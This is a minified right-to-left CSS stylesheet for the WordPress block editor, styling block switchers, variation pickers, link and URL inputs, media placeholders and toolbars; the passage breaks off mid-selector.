.components-popover__content{box-shadow:none;border:1px solid #1e1e1e;background:#fff;border-radius:2px}.block-editor-block-switcher__preview__popover .block-editor-block-switcher__preview{width:300px;height:auto;padding:16px}.block-editor-block-switcher__preview-title{margin-bottom:12px;color:#757575;text-transform:uppercase;font-size:11px;font-weight:500}.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__no-switcher-icon{width:48px}.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__no-switcher-icon,.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__toggle{height:48px}.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__no-switcher-icon .block-editor-block-icon,.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__no-switcher-icon .block-editor-block-switcher__transform,.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__toggle .block-editor-block-icon,.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__toggle .block-editor-block-switcher__transform{width:48px;height:48px}.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__no-switcher-icon .block-editor-block-switcher__transform,.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__toggle .block-editor-block-switcher__transform{padding:12px}.block-editor-block-types-list{list-style:none;padding:4px;margin-right:-4px;margin-left:-4px;overflow:hidden;display:flex;flex-wrap:wrap}.block-editor-block-variation-picker .components-placeholder__instructions{margin-bottom:0}.block-editor-block-variation-picker .components-placeholder__fieldset{flex-direction:column}.block-editor-block-variation-picker.has-many-variations .components-placeholder__fieldset{max-width:90%}.block-editor-block-variation-picker__variations.block-editor-block-variation-picker__variations{display:flex;justify-content:flex-start;flex-direction:row;flex-wrap:wrap;width:100%;margin:16px 0;padding:0;list-style:none}.block-editor-block-variation-picker__variations.block-editor-block-variation-picker__variations>li{list-style:none;margin:8px 0 0 20px;flex-shrink:1;width:75px;text-align:center}.block-editor-block-variation-picker__variations.block-editor-block-variation-picker__variations>li button{display:inline-flex;margin-left:0}.block-editor-block-variation-picker__variations.block-editor-block-variation-picker__variations .block-editor-block-variation-picker__variation{padding:8px}.block-editor-block-variation-picker__variations.block-editor-block-variation-picker__variations .block-editor-block-variation-picker__variation-label{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:12px;display:block;line-height:1.4}.block-editor-block-variation-picker__variation{width:100%}.block-editor-block-variation-picker__variation.components-button.has-icon{justify-content:center;width:auto}.block-editor-block-variation-picker__variation.components-button.has-icon.is-secondary{background-color:#fff}.block-editor-block-variation-picker__variation.components-button{height:auto;padding:0}.block-editor-block-variation-picker__variation:before{content:"";padding-bottom:100%}.block-editor-block-variation-picker__variation:first-child{margin-right:0}.block-editor-block-variation-picker__variation:last-child{margin-left:0}.block-editor-block-variation-transforms{padding:0 56px 16px 16px;width:100%}.block-editor-block-variation-transforms .components-dropdown-menu__toggle{border:1px solid #757575;border-radius:2px;min-height:30px;width:100%;position:relative;text-align:right;justify-content:left;padding:6px 12px}.block-editor-block-variation-transforms .components-dropdown-menu__toggle.components-dropdown-menu__toggle{padding-left:24px}.block-editor-block-variation-transforms .components-dropdown-menu__toggle:focus:not(:disabled){border-color:#007cba;border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 2px-1px #007cba;box-shadow:0 0 0 var(--wp-admin-border-width-focus)-1px var(--wp-admin-theme-color)}.block-editor-block-variation-transforms .components-dropdown-menu__toggle svg{height:100%;padding:0;position:absolute;left:0;top:0}.block-editor-block-variation-transforms__popover .components-popover__content{min-width:230px}.block-editor-button-block-appender{display:flex;flex-direction:column;align-items:center;justify-content:center;padding:8px;width:100%;height:auto;color:#1e1e1e;box-shadow:inset 0 0 0 1px #1e1e1e}.is-dark-theme .block-editor-button-block-appender{color:hsla(0,0%,100%,.65);box-shadow:inset 0 0 0 1px hsla(0,0%,100%,.65)}.block-editor-button-block-appender:hover{color:#007cba;color:var(--wp-admin-theme-color);box-shadow:inset 0 0 0 1px #007cba;box-shadow:inset 0 0 0 1px var(--wp-admin-theme-color)}.block-editor-button-block-appender:focus{box-shadow:inset 0 0 0 2px #007cba;box-shadow:inset 0 0 0 2px var(--wp-admin-theme-color)}.block-editor-button-block-appender:active{color:#000}.block-editor-button-block-appender.block-list-appender__toggle{display:flex;flex-direction:row;color:#1e1e1e;box-shadow:none;height:24px;width:24px;padding:0;margin-right:8px}.block-editor-button-block-appender.block-list-appender__toggle:active{color:#fff}.block-editor-button-block-appender.block-list-appender__toggle>svg{width:24px;background-color:#1e1e1e;color:#fff;border-radius:2px}.block-editor-color-gradient-control .block-editor-color-gradient-control__color-indicator{margin-bottom:12px}.block-editor-color-gradient-control .block-editor-color-gradient-control__button-tabs{display:block;margin-bottom:12px}.block-editor-panel-color-gradient-settings .component-color-indicator{vertical-align:text-bottom}.block-editor-panel-color-gradient-settings__panel-title .component-color-indicator{display:inline-block}.block-editor-panel-color-gradient-settings.is-opened .block-editor-panel-color-gradient-settings__panel-title .component-color-indicator{display:none}@media screen and (min-width:782px){.block-editor-panel-color-gradient-settings .components-circular-option-picker__swatches{margin-left:0}.block-editor-panel-color-gradient-settings .components-circular-option-picker__option-wrapper{margin-left:calc(20% - 33.6px)}.block-editor-panel-color-gradient-settings .components-circular-option-picker__option-wrapper:nth-child(6n+6){margin-left:0}}.block-editor-contrast-checker>.components-notice{margin:0}.block-editor-default-block-appender{clear:both;margin-right:auto;margin-left:auto;position:relative}.block-editor-default-block-appender[data-root-client-id=""] .block-editor-default-block-appender__content:hover{outline:1px solid transparent}.block-editor-default-block-appender textarea.block-editor-default-block-appender__content{font-family:inherit;font-size:inherit;border:none;background:none;box-shadow:none;display:block;cursor:text;width:100%;outline:1px solid transparent;transition:outline .2s;margin-top:28px;margin-bottom:28px;resize:none!important;padding:0 0 0 50px;color:rgba(30,30,30,.62)}@media (prefers-reduced-motion:reduce){.block-editor-default-block-appender textarea.block-editor-default-block-appender__content{transition-duration:0s}}.is-dark-theme .block-editor-default-block-appender textarea.block-editor-default-block-appender__content{color:hsla(0,0%,100%,.65)}.block-editor-default-block-appender .components-drop-zone__content-icon{display:none}.block-editor-default-block-appender__content{line-height:1.8}.block-editor-block-list__empty-block-inserter.block-editor-block-list__empty-block-inserter,.block-editor-default-block-appender .block-editor-inserter{position:absolute;top:0;height:32px}.block-editor-block-list__empty-block-inserter.block-editor-block-list__empty-block-inserter .block-editor-inserter__toggle,.block-editor-default-block-appender .block-editor-inserter .block-editor-inserter__toggle{margin-left:0}.block-editor-block-list__empty-block-inserter,.block-editor-default-block-appender .block-editor-inserter{left:8px}@media (min-width:600px){.block-editor-block-list__empty-block-inserter,.block-editor-default-block-appender .block-editor-inserter{display:flex;height:100%}}.block-editor-block-list__empty-block-inserter:disabled,.block-editor-default-block-appender .block-editor-inserter:disabled{display:none}@media (min-width:600px){.block-editor-default-block-appender .block-editor-inserter{align-items:center}}.components-font-appearance-control__select{margin-bottom:24px}.components-font-appearance-control__select ul li{color:#1e1e1e;text-transform:capitalize}.block-editor-link-control{position:relative;min-width:360px}.components-popover__content .block-editor-link-control{min-width:auto;width:90vw;max-width:360px}.block-editor-link-control__search-input-wrapper{position:relative}.block-editor-link-control .block-editor-link-control__search-input.block-editor-link-control__search-input input[type=text]{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;box-shadow:0 0 0 transparent;transition:box-shadow .1s linear;font-size:16px;line-height:normal;width:calc(100% - 32px);display:block;padding:11px 16px 11px 36px;margin:16px;position:relative;border:1px solid #ddd;border-radius:2px}@media (prefers-reduced-motion:reduce){.block-editor-link-control .block-editor-link-control__search-input.block-editor-link-control__search-input input[type=text]{transition-duration:0s}}@media (min-width:600px){.block-editor-link-control .block-editor-link-control__search-input.block-editor-link-control__search-input input[type=text]{font-size:13px;line-height:normal}}.block-editor-link-control .block-editor-link-control__search-input.block-editor-link-control__search-input input[type=text]:focus{border-color:#007cba;border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 1px #007cba;box-shadow:0 0 0 1px var(--wp-admin-theme-color);outline:2px solid transparent}.block-editor-link-control .block-editor-link-control__search-input.block-editor-link-control__search-input input[type=text]::-webkit-input-placeholder{color:rgba(30,30,30,.62)}.block-editor-link-control .block-editor-link-control__search-input.block-editor-link-control__search-input input[type=text]::-moz-placeholder{opacity:1;color:rgba(30,30,30,.62)}.block-editor-link-control .block-editor-link-control__search-input.block-editor-link-control__search-input input[type=text]:-ms-input-placeholder{color:rgba(30,30,30,.62)}.is-dark-theme .block-editor-link-control .block-editor-link-control__search-input.block-editor-link-control__search-input input[type=text]::-webkit-input-placeholder{color:hsla(0,0%,100%,.65)}.is-dark-theme .block-editor-link-control .block-editor-link-control__search-input.block-editor-link-control__search-input input[type=text]::-moz-placeholder{opacity:1;color:hsla(0,0%,100%,.65)}.is-dark-theme .block-editor-link-control .block-editor-link-control__search-input.block-editor-link-control__search-input input[type=text]:-ms-input-placeholder{color:hsla(0,0%,100%,.65)}.block-editor-link-control .block-editor-link-control__search-input .components-base-control__field{margin-bottom:0}.block-editor-link-control__search-error{margin:-8px 16px 16px}.block-editor-link-control__search-actions{position:absolute;top:19px;left:19px}.components-button .block-editor-link-control__search-submit .has-icon{margin:-1px}.block-editor-link-control__search-results-wrapper{position:relative;margin-top:-15px}.block-editor-link-control__search-results-wrapper:after,.block-editor-link-control__search-results-wrapper:before{content:"";position:absolute;right:-1px;left:16px;display:block;pointer-events:none;z-index:100}.block-editor-link-control__search-results-wrapper:before{height:8px;top:0;bottom:auto}.block-editor-link-control__search-results-wrapper:after{height:16px;bottom:0;top:auto}.block-editor-link-control__search-results-label{padding:16px 32px 0;display:block;font-weight:600}.block-editor-link-control__search-results{margin:0;padding:8px 16px;max-height:200px;overflow-y:auto}.block-editor-link-control__search-results.is-loading{opacity:.2}.block-editor-link-control__search-item{position:relative;display:flex;align-items:center;font-size:13px;cursor:pointer;background:#fff;width:100%;border:none;text-align:right;padding:12px 16px;border-radius:5px;height:auto}.block-editor-link-control__search-item:focus,.block-editor-link-control__search-item:hover{background-color:#ddd}.block-editor-link-control__search-item:focus:not(:disabled){box-shadow:inset 0 0 0 2px #007cba;box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color) inset}.block-editor-link-control__search-item.is-selected{background:#f0f0f0}.block-editor-link-control__search-item.is-selected .block-editor-link-control__search-item-type{background:#fff}.block-editor-link-control__search-item.is-current{background:transparent;border:0;width:100%;cursor:default;padding:16px 24px 16px 16px}.block-editor-link-control__search-item .block-editor-link-control__search-item-header{display:block;margin-left:8px;overflow:hidden;white-space:nowrap}.block-editor-link-control__search-item .block-editor-link-control__search-item-icon{margin-left:1em;min-width:24px}.block-editor-link-control__search-item .block-editor-link-control__search-item-info,.block-editor-link-control__search-item .block-editor-link-control__search-item-title{overflow:hidden;text-overflow:ellipsis;padding-left:24px}.block-editor-link-control__search-item .block-editor-link-control__search-item-info .components-external-link__icon,.block-editor-link-control__search-item .block-editor-link-control__search-item-title .components-external-link__icon{position:absolute;left:0;margin-top:0}.block-editor-link-control__search-item .block-editor-link-control__search-item-title{display:block;margin-bottom:.2em;font-weight:500;position:relative}.block-editor-link-control__search-item .block-editor-link-control__search-item-title mark{font-weight:700;color:#000;background-color:transparent}.block-editor-link-control__search-item .block-editor-link-control__search-item-title span{font-weight:400}.block-editor-link-control__search-item .block-editor-link-control__search-item-info{display:block;color:#757575;font-size:.9em;line-height:1.3}.block-editor-link-control__search-item .block-editor-link-control__search-item-type{display:block;padding:3px 8px;margin-right:auto;font-size:.9em;background-color:#f0f0f0;border-radius:2px}.block-editor-link-control__loading{margin:16px;display:flex;align-items:center}.block-editor-link-control__loading .components-spinner{margin-top:0}.components-button+.block-editor-link-control__search-create{overflow:visible;padding:12px 16px}.components-button+.block-editor-link-control__search-create:before{content:"";position:absolute;top:-10px;right:0;display:block;width:100%}.block-editor-link-control__search-results div[role=menu]>.block-editor-link-control__search-item.block-editor-link-control__search-item{padding:10px}.block-editor-link-control__settings{border-top:1px solid #ddd;margin:0;padding:16px 24px}.block-editor-link-control__settings :last-child{margin-bottom:0}.block-editor-link-control__setting{margin-bottom:16px}.block-editor-link-control__setting :last-child{margin-bottom:0}.block-editor-link-control .block-editor-link-control__search-input .components-spinner{display:block}.block-editor-link-control .block-editor-link-control__search-input .components-spinner.components-spinner{position:absolute;right:auto;bottom:auto;top:28px;left:62px}.block-editor-link-control__search-item-action{margin-right:auto;flex-shrink:0}.block-editor-line-height-control{margin-bottom:24px}.block-editor-line-height-control input{display:block;max-width:60px}.block-editor-image-size-control{margin-bottom:1em}.block-editor-image-size-control .block-editor-image-size-control__row{display:flex;justify-content:space-between}.block-editor-image-size-control .block-editor-image-size-control__row .block-editor-image-size-control__height,.block-editor-image-size-control .block-editor-image-size-control__row .block-editor-image-size-control__width{margin-bottom:.5em}.block-editor-image-size-control .block-editor-image-size-control__row .block-editor-image-size-control__height input,.block-editor-image-size-control .block-editor-image-size-control__row .block-editor-image-size-control__width input{line-height:1.25}.block-editor-image-size-control .block-editor-image-size-control__row .block-editor-image-size-control__width{margin-left:5px}.block-editor-image-size-control .block-editor-image-size-control__row .block-editor-image-size-control__height{margin-right:5px}.block-editor-block-list__layout.has-overlay:after{content:"";position:absolute;top:-14px;left:-14px;bottom:-14px;right:-14px;z-index:60}[data-align=full] .has-overlay:after{left:0;right:0}.block-editor-block-types-list__list-item{display:block;width:33.33%;padding:0;margin:0}.components-button.block-editor-block-types-list__item{display:flex;flex-direction:column;width:100%;font-size:13px;color:#1e1e1e;padding:8px;align-items:stretch;justify-content:center;cursor:pointer;background:transparent;word-break:break-word;border-radius:2px;border:1px solid transparent;transition:all .05s ease-in-out;position:relative;height:auto}@media (prefers-reduced-motion:reduce){.components-button.block-editor-block-types-list__item{transition-duration:0s}}.components-button.block-editor-block-types-list__item:disabled{opacity:.6;cursor:default}.components-button.block-editor-block-types-list__item:not(:disabled):hover{border-color:#007cba;border-color:var(--wp-admin-theme-color);color:#007cba!important;color:var(--wp-admin-theme-color)!important}.components-button.block-editor-block-types-list__item:not(:disabled).is-active{color:#fff;background:#1e1e1e;outline:2px solid transparent;outline-offset:-2px}.block-editor-block-types-list__item-icon{padding:12px 20px;border-radius:2px;color:#1e1e1e;transition:all .05s ease-in-out}@media (prefers-reduced-motion:reduce){.block-editor-block-types-list__item-icon{transition-duration:0s}}.block-editor-block-types-list__item-icon .block-editor-block-icon{margin-right:auto;margin-left:auto}.block-editor-block-types-list__item-icon svg{transition:all .15s ease-out}@media (prefers-reduced-motion:reduce){.block-editor-block-types-list__item-icon svg{transition-duration:0s}}.block-editor-block-types-list__list-item[draggable=true] .block-editor-block-types-list__item-icon{cursor:grab}.block-editor-block-types-list__item-title{padding:4px 2px 8px;font-size:12px}.modal-open .block-editor-media-replace-flow__options{display:none}.block-editor-media-replace-flow__options .components-popover__content>div{padding-top:16px}.block-editor-media-replace-flow__indicator{margin-right:4px}.block-editor-media-flow__url-input{border-top:1px solid #1e1e1e;margin-top:12px;margin-left:-12px;margin-right:-12px;padding:12px 24px 0}.block-editor-media-flow__url-input .block-editor-media-replace-flow__image-url-label{top:16px}.block-editor-media-flow__url-input .block-editor-link-control{margin-top:-16px;width:auto}.block-editor-media-flow__url-input .block-editor-link-control .components-base-control .components-base-control__field{margin-bottom:0}.block-editor-media-flow__url-input .block-editor-link-control .block-editor-link-control__search-item-title{max-width:180px;margin-top:16px}.block-editor-media-flow__url-input .block-editor-link-control .block-editor-link-control__search-item.is-current{width:auto;padding:0}.block-editor-media-flow__url-input .block-editor-link-control .block-editor-link-control__search-input.block-editor-link-control__search-input input[type=text]{margin:16px 0 0;width:100%}.block-editor-media-flow__url-input .block-editor-link-control .block-editor-link-control__search-actions{left:4px}.block-editor-media-flow__error{padding:0 20px 20px;max-width:255px}.block-editor-media-flow__error .components-with-notices-ui{max-width:255px}.block-editor-media-flow__error .components-with-notices-ui .components-notice__content{overflow:hidden;word-wrap:break-word}.block-editor-media-flow__error .components-with-notices-ui .components-notice__dismiss{position:absolute;left:10px}.block-editor-media-placeholder__url-input-container .block-editor-media-placeholder__button{margin-bottom:0}.block-editor-media-placeholder__url-input-form{display:flex}.block-editor-media-placeholder__url-input-form input[type=url].block-editor-media-placeholder__url-input-field{width:100%;flex-grow:1;border:none;border-radius:0;margin:2px}@media (min-width:600px){.block-editor-media-placeholder__url-input-form input[type=url].block-editor-media-placeholder__url-input-field{width:300px}}.block-editor-media-placeholder__url-input-submit-button{flex-shrink:1}.block-editor-media-placeholder__button{margin-bottom:.5rem}.block-editor-media-placeholder__cancel-button.is-link{margin:1em;display:block}.block-editor-media-placeholder.is-appender{min-height:0}.block-editor-media-placeholder.is-appender:hover{cursor:pointer;box-shadow:0 0 0 1px #007cba;box-shadow:0 0 0 1px var(--wp-admin-theme-color)}.block-editor-multi-selection-inspector__card{display:flex;align-items:flex-start;padding:16px}.block-editor-multi-selection-inspector__card-content{flex-grow:1}.block-editor-multi-selection-inspector__card-title{font-weight:500;margin-bottom:5px}.block-editor-multi-selection-inspector__card-description{font-size:13px}.block-editor-multi-selection-inspector__card .block-editor-block-icon{margin-right:-2px;margin-left:10px;padding:0 3px;width:36px;height:24px}.block-editor-plain-text{box-shadow:none;font-family:inherit;font-size:inherit;color:inherit;line-height:inherit;border:none;padding:0;margin:0;width:100%}.block-editor-responsive-block-control{margin-bottom:28px;border-bottom:1px solid #ccc;padding-bottom:14px}.block-editor-responsive-block-control:last-child{padding-bottom:0;border-bottom:0}.block-editor-responsive-block-control__title{margin:0 -3px .6em 0}.block-editor-responsive-block-control__label{font-weight:600;margin-bottom:.6em;margin-right:-3px}.block-editor-responsive-block-control__inner{margin-right:-1px}.block-editor-responsive-block-control__toggle{margin-right:1px}.block-editor-responsive-block-control .components-base-control__help{border:0;clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal!important}.block-editor-format-toolbar .components-dropdown-menu__toggle{justify-content:center}.show-icon-labels .block-editor-format-toolbar .components-button.has-icon{width:auto}.show-icon-labels .block-editor-format-toolbar .components-button.has-icon svg{display:none}.show-icon-labels .block-editor-format-toolbar .components-button.has-icon:after{content:attr(aria-label)}.block-editor-rich-text__editable>p:first-child{margin-top:0}.block-editor-rich-text__editable [data-rich-text-placeholder]{pointer-events:none}.block-editor-rich-text__editable [data-rich-text-placeholder]:after{content:attr(data-rich-text-placeholder);opacity:.62}.block-editor-rich-text__editable:focus{outline:none}.block-editor-rich-text__editable:focus [data-rich-text-format-boundary]{border-radius:2px}.block-editor-rich-text__editable:focus:not(.keep-placeholder-on-focus) [data-rich-text-placeholder]:after{display:none}figcaption.block-editor-rich-text__editable [data-rich-text-placeholder]:before{opacity:.8}.components-popover.block-editor-rich-text__inline-format-toolbar{z-index:99998}.components-popover.block-editor-rich-text__inline-format-toolbar .components-popover__content{width:auto;min-width:auto;margin-bottom:8px;box-shadow:none;border:1px solid #1e1e1e;border-radius:2px;background-color:#fff}.components-popover.block-editor-rich-text__inline-format-toolbar .components-toolbar,.components-popover.block-editor-rich-text__inline-format-toolbar .components-toolbar-group{border:none}.components-popover.block-editor-rich-text__inline-format-toolbar .components-dropdown-menu__toggle,.components-popover.block-editor-rich-text__inline-format-toolbar .components-toolbar__control{min-width:48px;min-height:48px;padding-right:12px;padding-left:12px}.block-editor-skip-to-selected-block{position:absolute;top:-9999em}.block-editor-skip-to-selected-block:focus{height:auto;width:auto;display:block;font-size:14px;font-weight:600;padding:15px 23px 14px;background:#f1f1f1;color:#007cba;color:var(--wp-admin-theme-color);line-height:normal;box-shadow:0 0 2px 2px rgba(0,0,0,.6);text-decoration:none;outline:none;z-index:100000}.block-editor-text-decoration-and-transform{display:flex}.block-editor-text-transform-control{flex:0 0 50%}.block-editor-text-transform-control legend{margin-bottom:8px}.block-editor-text-transform-control .block-editor-text-transform-control__buttons{display:inline-flex;margin-bottom:24px}.block-editor-text-transform-control .block-editor-text-transform-control__buttons .components-button.has-icon{min-width:24px;padding:0;margin-left:4px}.block-editor-text-decoration-control{flex:0 0 50%}.block-editor-text-decoration-control legend{margin-bottom:8px}.block-editor-text-decoration-control .block-editor-text-decoration-control__buttons{display:inline-flex;margin-bottom:24px}.block-editor-text-decoration-control .block-editor-text-decoration-control__buttons .components-button.has-icon{min-width:24px;padding:0;margin-left:4px}.block-editor-tool-selector__help{margin:8px -12px -12px;padding:12px 20px;border-top:1px solid #ddd;color:#757575;min-width:280px}.block-editor-block-list__block .block-editor-url-input,.block-editor-url-input,.components-popover .block-editor-url-input{flex-grow:1;position:relative;padding:1px}.block-editor-block-list__block .block-editor-url-input input[type=text],.block-editor-url-input input[type=text],.components-popover .block-editor-url-input input[type=text]{width:100%;padding:8px;border:none;border-radius:0;margin-right:0;margin-left:0;font-size:16px}@media (min-width:600px){.block-editor-block-list__block .block-editor-url-input input[type=text],.block-editor-url-input input[type=text],.components-popover .block-editor-url-input input[type=text]{width:300px;font-size:13px}}.block-editor-block-list__block .block-editor-url-input input[type=text]::-ms-clear,.block-editor-url-input input[type=text]::-ms-clear,.components-popover .block-editor-url-input input[type=text]::-ms-clear{display:none}.block-editor-block-list__block .block-editor-url-input.is-full-width,.block-editor-block-list__block .block-editor-url-input.is-full-width .block-editor-url-input__input[type=text],.block-editor-block-list__block .block-editor-url-input.is-full-width__suggestions,.block-editor-url-input.is-full-width,.block-editor-url-input.is-full-width .block-editor-url-input__input[type=text],.block-editor-url-input.is-full-width__suggestions,.components-popover .block-editor-url-input.is-full-width,.components-popover .block-editor-url-input.is-full-width .block-editor-url-input__input[type=text],.components-popover .block-editor-url-input.is-full-width__suggestions{width:100%}.block-editor-block-list__block .block-editor-url-input .components-spinner,.block-editor-url-input .components-spinner,.components-popover .block-editor-url-input .components-spinner{position:absolute;left:8px;bottom:17px;margin:0}.block-editor-url-input__input[type=text]{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;padding:6px 8px;box-shadow:0 0 0 transparent;transition:box-shadow .1s linear;border-radius:2px;border:1px solid #757575;font-size:16px;line-height:normal}@media (prefers-reduced-motion:reduce){.block-editor-url-input__input[type=text]{transition-duration:0s}}@media (min-width:600px){.block-editor-url-input__input[type=text]{font-size:13px;line-height:normal}}.block-editor-url-input__input[type=text]:focus{border-color:#007cba;border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 1px #007cba;box-shadow:0 0 0 1px var(--wp-admin-theme-color);outline:2px solid transparent}.block-editor-url-input__input[type=text]::-webkit-input-placeholder{color:rgba(30,30,30,.62)}.block-editor-url-input__input[type=text]::-moz-placeholder{opacity:1;color:rgba(30,30,30,.62)}.block-editor-url-input__input[type=text]:-ms-input-placeholder{color:rgba(30,30,30,.62)}.is-dark-theme .block-editor-url-input__input[type=text]::-webkit-input-placeholder{color:hsla(0,0%,100%,.65)}.is-dark-theme .block-editor-url-input__input[type=text]::-moz-placeholder{opacity:1;color:hsla(0,0%,100%,.65)}.is-dark-theme .block-editor-url-input__input[type=text]:-ms-input-placeholder{color:hsla(0,0%,100%,.65)}.block-editor-url-input__suggestions{max-height:200px;transition:all .15s ease-in-out;padding:4px 0;width:302px;overflow-y:auto}@media (prefers-reduced-motion:reduce){.block-editor-url-input__suggestions{transition-duration:0s}}.block-editor-url-input .components-spinner,.block-editor-url-input__suggestions{display:none}@media (min-width:600px){.block-editor-url-input .components-spinner,.block-editor-url-input__suggestions{display:inherit}}.block-editor-url-input__suggestion{padding:4px 8px;color:#757575;display:block;font-size:13px;cursor:pointer;background:#fff;width:100%;border:none;text-align:right;box-shadow:none}.block-editor-url-input__suggestion:hover{background:#ddd}.block-editor-url-input__suggestion.is-selected,.block-editor-url-input__suggestion:focus{background:#005a87;background:var(--wp-admin-theme-color-darker-20);color:#fff;outline:none}.components-toolbar-group>.block-editor-url-input__button,.components-toolbar>.block-editor-url-input__button{position:inherit}.block-editor-url-input__button .block-editor-url-input__back{margin-left:4px;overflow:visible}.block-editor-url-input__button .block-editor-url-input__back:after{content:"";position:absolute;display:block;width:1px;height:24px;left:-1px;background:#ddd}.block-editor-url-input__button-modal{box-shadow:0 2px 6px rgba(0,0,0,.05);border:1px solid #ddd;background:#fff}.block-editor-url-input__button-modal-line{display:flex;flex-direction:row;flex-grow:1;flex-shrink:1;min-width:0;align-items:flex-start}.block-editor-url-input__button-modal-line .components-button{flex-shrink:0;width:36px;height:36px}.block-editor-url-popover__additional-controls{border-top:1px solid #ddd}.block-editor-url-popover__additional-controls>div[role=menu] .components-button:not(:disabled):not([aria-disabled=true]):not(.is-secondary)>svg{box-shadow:none}.block-editor-url-popover__additional-controls div[role=menu]>.components-button{padding-right:2px}.block-editor-url-popover__row{display:flex}.block-editor-url-popover__row>:not(.block-editor-url-popover__settings-toggle){flex-grow:1}.block-editor-url-popover .components-button.has-icon{padding:3px}.block-editor-url-popover .components-button.has-icon>svg{padding:5px;border-radius:2px;height:30px;width:30px}.block-editor-url-popover .components-button.has-icon:not(:disabled):focus{box-shadow:none}.block-editor-url-popover .components-button.has-icon:not(:disabled):focus>svg{box-shadow:inset 0 0 0 2px #007cba,inset 0 0 0 4px #fff;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color),inset 0 0 0 4px #fff;outline:2px solid transparent}.block-editor-url-popover__settings-toggle{flex-shrink:0;border-radius:0;border-right:1px solid #ddd;margin-right:1px}.block-editor-url-popover__settings-toggle[aria-expanded=true] .dashicon{transform:rotate(-180deg)}.block-editor-url-popover__input-container .components-base-control:last-child,.block-editor-url-popover__input-container .components-base-control:last-child .components-base-control__field{margin-bottom:0}.block-editor-url-popover__settings{display:block;padding:16px;border-top:1px solid #ddd}.block-editor-url-popover__link-editor,.block-editor-url-popover__link-viewer{display:flex}.block-editor-url-popover__link-editor .block-editor-url-input .components-base-control__field,.block-editor-url-popover__link-viewer .block-editor-url-input .components-base-control__field{margin-bottom:0}.block-editor-url-popover__link-editor .block-editor-url-input .components-spinner,.block-editor-url-popover__link-viewer .block-editor-url-input .components-spinner{bottom:9px}.block-editor-url-popover__link-viewer-url{margin:7px;flex-grow:1;flex-shrink:1;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;min-width:150px;max-width:500px}.block-editor-url-popover__link-viewer-url.has-invalid-link{color:#cc1818}.block-editor-warning{align-items:center;display:flex;flex-wrap:wrap;padding:1em;border:1px solid #1e1e1e;border-radius:2px;background-color:#fff}.block-editor-warning,.block-editor-warning .block-editor-warning__message{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif}.block-editor-warning .block-editor-warning__message{line-height:1.4;font-size:13px;color:#1e1e1e;margin:0}.block-editor-warning p.block-editor-warning__message.block-editor-warning__message{min-height:auto}.block-editor-warning .block-editor-warning__contents{display:flex;flex-direction:row;justify-content:space-between;flex-wrap:wrap;align-items:baseline;width:100%}.block-editor-warning .block-editor-warning__actions{display:flex;margin-top:1em}.block-editor-warning .block-editor-warning__action{margin:0 0 0 8px}.block-editor-warning__secondary{margin:auto 8px auto 0}.components-popover.block-editor-warning__dropdown{z-index:99998}.html-anchor-control .components-external-link{display:block;margin-top:8px}#end-resizable-editor-section{display:none}.block-editor-block-toolbar{display:flex;flex-grow:1;width:100%;overflow:auto;position:relative;transition:border-color .1s linear,box-shadow .1s linear}@media (prefers-reduced-motion:reduce){.block-editor-block-toolbar{transition-duration:0s}}@media (min-width:600px){.block-editor-block-toolbar{overflow:inherit}}.block-editor-block-toolbar .components-toolbar,.block-editor-block-toolbar .components-toolbar-group{background:none;line-height:0;margin-top:-1px;margin-bottom:-1px;border:0;border-left:1px solid #ddd}.block-editor-block-toolbar>:last-child,.block-editor-block-toolbar>:last-child .components-toolbar,.block-editor-block-toolbar>:last-child .components-toolbar-group{border-left:none}.block-editor-block-toolbar__block-controls{height:auto!important;padding:0!important}.block-editor-block-toolbar__block-controls .block-editor-block-switcher .components-dropdown-menu__toggle .block-editor-block-icon,.block-editor-block-toolbar__block-controls .block-editor-block-switcher__no-switcher-icon .block-editor-block-icon{width:24px!important;margin:0!important}.block-editor-block-toolbar__block-controls .block-editor-block-switcher .components-dropdown-menu__toggle:focus:before,.block-editor-block-toolbar__block-controls .block-editor-block-switcher__no-switcher-icon:focus:before{left:4px!important}.block-editor-block-toolbar__block-controls .block-editor-block-mover{margin-right:-6px}.block-editor-block-toolbar .components-toolbar,.block-editor-block-toolbar .components-toolbar-group,.block-editor-format-toolbar .components-toolbar,.block-editor-format-toolbar .components-toolbar-group{display:flex;flex-wrap:nowrap}.block-editor-block-toolbar__slot{display:inline-block;line-height:0}@supports ((position:-webkit-sticky) or (position:sticky)){.block-editor-block-toolbar__slot{display:inline-flex}}.block-editor-block-toolbar__block-parent-selector-wrapper{position:absolute;top:-1px;right:-1px;opacity:0;transition:all 60ms linear;z-index:-1}@media (prefers-reduced-motion:reduce){.block-editor-block-toolbar__block-parent-selector-wrapper{transition-duration:0s}}.is-showing-movers .block-editor-block-toolbar__block-parent-selector-wrapper{opacity:1;transform:translateY(-60px)}.show-icon-labels .block-editor-block-toolbar .components-button.has-icon{width:auto}.show-icon-labels .block-editor-block-toolbar .components-button.has-icon svg{display:none}.show-icon-labels .block-editor-block-toolbar .components-button.has-icon:after{content:attr(aria-label);font-size:12px}.show-icon-labels .components-accessible-toolbar 